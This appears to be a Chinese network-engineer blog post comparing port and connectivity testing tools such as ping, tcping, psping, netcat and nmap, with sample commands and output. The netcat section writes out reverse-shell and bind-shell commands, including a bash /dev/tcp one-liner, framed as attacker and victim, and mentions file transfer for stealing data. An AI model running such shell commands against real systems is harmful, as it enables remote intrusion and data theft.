下面列举下网工会用到的一些网络测试工具,分别为ping、telnet、tracert、tcping、psping、nc(支持UDP)、nmap我会分别列举其优缺点,来历,这也是我常用的。
1.ping
ping 命令以前是一个很好用并且常用的网络测试工具,它是基于 ICMP 协议,但是出于网络安全等因素,大部分网络环境以及云环境可能都会禁止 ICMP 协议,所以在工作中,我们必须掌握一些其他比较流行的网络测试工具。
优点:系统自带,可以直接用
缺点:只能测试网络层面的连通性,无法测试 tcp/udp端口连通性
用法示例:ping -S 192.168.0.106 -n 100 -l 3000 192.168.0.1(源地址、ping次数、包长度)-t是一直ping
2.telnet
Telnet协议是TCP/IP协议族中的一员,是Internet远程登陆服务的标准协议和主要方式。有时我们也用该命令来检测主机到目标主机之间的端口连通情况。
优点:系统自带,不过需要在windows组件那安装一下。
缺点:由于telnet是基于tcp的,所以无法测试udp端口,而且单次只能测试一个,而且如果测试某端口时,如果端口通,会跳转到新的黑窗口,无法退出去开始另一个测试;如果端口不通,会一直显示正在连接,挺长一段时间才会显示连接失败,非常影响测试多个端口或主机的效率。
用法示例:telnet 192.168.0.1 80
3.tracert
Traceroute是用来侦测显示主机到目标主机之间所经路由的IP地址,通过traceroute我们可以知道信息从你的主机到目标主机是走的什么路径,是一种便利的常用的工具。在windows系统下为:tracert
优点:网络层面的跟踪路径,不带任何参数,回将IP地址做dns查询,查询出主机名,速度较慢,一般加个-d,,不解析为主机名.
用法示例:tracert -d 192.168.0.1
Tcproute也是探测路径的,不太好用,有空可以再测试,主要是慢
tcproute -i 4 192.168.0.1 默认是80端口,-i 4 是指定接口,你要选择要用的那个网卡
4.tcping
tcping用于TCP端口的连通性测试,可以看到端口是否打开,还有具体延迟。默认端口为80,如果是其他地址在IP地址后空格,然后输入端口号即可。
优点:和ping一样好用,端口不通,2s超时,就能看到结果。
缺点:只能测试TCP端口
下载链接:https://elifulkerson.com/projects/tcping.php
C:\Users\xueyu>tcping 192.168.0.1
Probing 192.168.0.1:80/tcp - Port is open - time=13.913ms
Probing 192.168.0.1:80/tcp - Port is open - time=2.166ms
Probing 192.168.0.1:80/tcp - Port is open - time=2.253ms
Probing 192.168.0.1:80/tcp - Port is open - time=1.911ms
5.psping
PsPing是微软PSTools工具套件中的其中一个命令。除了ICMP ping测试,它主要用来测试TCP端口的连通性,还可以测试TCP/UDP网络时延和带宽。不过,PsPing只能在 Windows 中运行。如果您需要在 Linux 中发起 TCP 端口连通性和网路时延的测试,可以使用PaPing 。PaPing 是一个跨平台的开源工具。它的功能相对PsPing而言更简单,只支持 TCP 端口的相关测试,不支持UDP端口的测试。
工具下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psping
下载完PSTools.zip包之后,放到任意本地磁盘内,解压之后,将 psping.exe拷贝到 C:\Windows\System32 下,那么你在 cmd 命令窗口的任意目录都可以使用 PsPing 命令了。当然你也可以单独将 psping.exe 命令解压出来放在任意路径,然后从命令提示符来运行。只是这样就需要在运行命令前转换到 psping.exe 所在的路径。
主要介绍微软的测试工具Psping,该工具功能主要包括:ICMP Ping、TCP Ping、延迟测试、带宽测试。
需要说明一种应用场景:由于Windows Azure数据中心禁ICMP,使用Psping的TCP Ping的功能来测试联通性或者故障排查就非常有用了。
优点:ICMP Ping、TCP Ping、延迟测试、带宽测试。这几个功能都包括了.
缺点: 只能测试TCP端口,UDP用于带宽测试
用法示例:TCP ping测试
C:\Users\xueyu>psping 192.168.0.1:80
PsPing v2.10 - PsPing - ping, latency, bandwidth measurement utility
Copyright (C) 2012-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
TCP connect to 192.168.0.1:80:
5 iterations (warmup 1) ping test:
Connecting to 192.168.0.1:80 (warmup): from 192.168.0.106:14839: 1.87ms
Connecting to 192.168.0.1:80: from 192.168.0.106:14840: 2.03ms
Connecting to 192.168.0.1:80: from 192.168.0.106:14841: 2.09ms
Connecting to 192.168.0.1:80: from 192.168.0.106:14842: 4.10ms
Connecting to 192.168.0.1:80: from 192.168.0.106:14844: 3.19ms
TCP connect statistics for 192.168.0.1:80:
Sent = 4, Received = 4, Lost = 0 (0% loss),
Minimum = 2.03ms, Maximum = 4.10ms, Average = 2.85ms
带宽测试(UDP,默认TCP,2000包长,100个包)
C:\Users\xueyu>psping -b -u -l 2000 -n 100 218.241.164.5:8443
PsPing v2.10 - PsPing - ping, latency, bandwidth measurement utility
Copyright (C) 2012-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
Setting warmup count to match number of outstanding I/Os: 8
UDP bandwidth test connecting to 218.241.164.5:8443: Connected
108 iterations (8 warmup) sending 2000 bytes UDP bandwidth test: -152627100%
UDP sender bandwidth statistics:
Sent = 100, Size = 2000, Total Bytes: 214000,
Minimum = 4.35 MB/s, Maximum = 4.35 MB/s, Average = 4.35 MB/s
Error exchanging UDP statistics: 你的主机中的软件中止了一个已建立的连接。
6.nc
nc是netcat的简写,有网络界的瑞士×××的美誉。因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具。
使用场景:NC为我们提供了四大功能(作为server发起端口侦听、作为client扫描端口、传输文件、测试网速),响应速度快。
优点:响应速度快,而且支持UDP,可以用来传文件,不过这个我没用过
缺点:只能看到端口是否通,无法看到具体延迟
使用方法:nc -vnz 地址 端口 (-v :显示详细信息(那一行输出)、-n:不做dns查询、-z:零I/O,只做探测、-u:支持UDP)
C:\Users\xueyu>nc -vnz 218.241.164.5 8443
(UNKNOWN) [218.241.164.5] 8443 (?) open
C:\Users\xueyu>nc -vunz 218.241.206.66 1234
(UNKNOWN) [218.241.206.66] 1234 (?) open
其他功能
常用功能总结:
a) nc dst_hostname dst_port:nc实现连接到dst_host对应的dst_port上。在连接成功后,可以正常的输入一些该端口绑定服务所识别的命令。
GET /HTTP/1.0
b) nc –l –p src_port:src_port开启侦听模式,等待连接。
nc –l –vp src_port < input_filename inputfilename与src_port绑定
nc dst_hostname dst_port > output_filename dst_port与outputfilename绑定
最终可以实现从input_filename转移到output_filename,这个过程可以帮助***偷走用户的一些关键资料。
这2个方向可以倒置,实现的功能就完全相仿了,***可以往用户目录传输一些文件。
c) shell反弹
受害者V: nc dst_host dst_port –e [cmd.exe|bin/bash|bin/zsh ]
***者A: nc –lvp src_port
***者开启监听模式,受害者绑定shell反弹给***者
d) shell正向连接
受害者V: nc -lvp src_port –e [cmd.exe|bin/bash|bin/zsh]
***者A: nc dst_host dst_port
e) 受害者机器上没有netcat,仍然可以做到反弹:
***者A:nc –l –p src_port
受害者V:bash -i >& /dev/tcp/dst_host/dst_port0>&1
更多介绍:
https://www.cnblogs.com/chengd/p/7565280.html
7.nmap
全称Network Mapper,是Linux下的网络扫描和嗅探工具包,也称之为“系统漏洞扫描之王”。
使用场景:nmap提供了一些基本功能,比如主机发现、端口扫描、服务扫描、系统扫描等,它不仅可以测试端口连通性,还可以获取地址的服务类型、状态、端口及协议等信息。
优点:能看出来该端口下是啥协议,貌似功能挺多的。ncat 是nmap的一个组件 ncat是nc的加强版,基本命令都支持
缺点: 速度慢
C:\Users\xueyu>nmap -p 218.241.206.66 -8443
nmap: illegal option -- 8
See the output of nmap -h for a summary of options.
C:\Users\xueyu>nmap -p 8443 218.241.206.66
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-05 19:07 ?D1ú±ê×?ê±??
Nmap scan report for 218.241.206.66
Host is up (0.11s latency).
PORT STATE SERVICE
8443/tcp open https-alt
Nmap done: 1 IP address (1 host up) scanned in 36.42 seconds
中文参考手册
http://www.nmap.com.cn/doc/manual.shtm
ncat 连接UDP端口
C:\Users\xueyu>ncat -vuzn 218.241.164.5 8443
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Connected to 218.241.164.5:8443.
Ncat: UDP packet sent successfully
Ncat: 1 bytes sent, 0 bytes received in 2.14 seconds
例子: 1) 配置为服务器段,监听端口
通过过 -l 选项,ncat 可以进入监听模式,使我们可以在指定端口监听入站连接。 完整的命令是这样的:
$ ncat -l port_number
比如,
$ ncat -l 8080
服务器就会开始在 8080 端口监听入站连接。
例子: 2) 连接远程系统
使用下面命令可以用 nc 来连接远程系统,
$ ncat IP_address port_number
让我们来看个例子,
$ ncat 192.168.1.100 80
这会创建一个连接,连接到 IP 为 192.168.1.100 的服务器上的 80 端口,然后我们就可以向服务器发送指令了。 比如我们可以输入下面内容来获取完整的网页内容
GET / HTTP/1.1
Linux下使用nping测试TCP\UDP延迟
https://bugxia.com/238.html
参考资料:
http://blog.sina.com.cn/s/blog_5ceb51480102xwp2.html
你还在ping吗?7种进阶方法让你快速测试端口连通性
http://network.51cto.com/art/201903/594117.htm
https://www.cnblogs.com/jonnyan/p/9662791.html
NetCat简介
https://blog.csdn.net/phone15062117684/article/details/79039735
Netcat详解
https://blog.csdn.net/fageweiketang/article/details/82833193
ncat 几个常用例子
https://blog.csdn.net/u014389734/article/details/79040489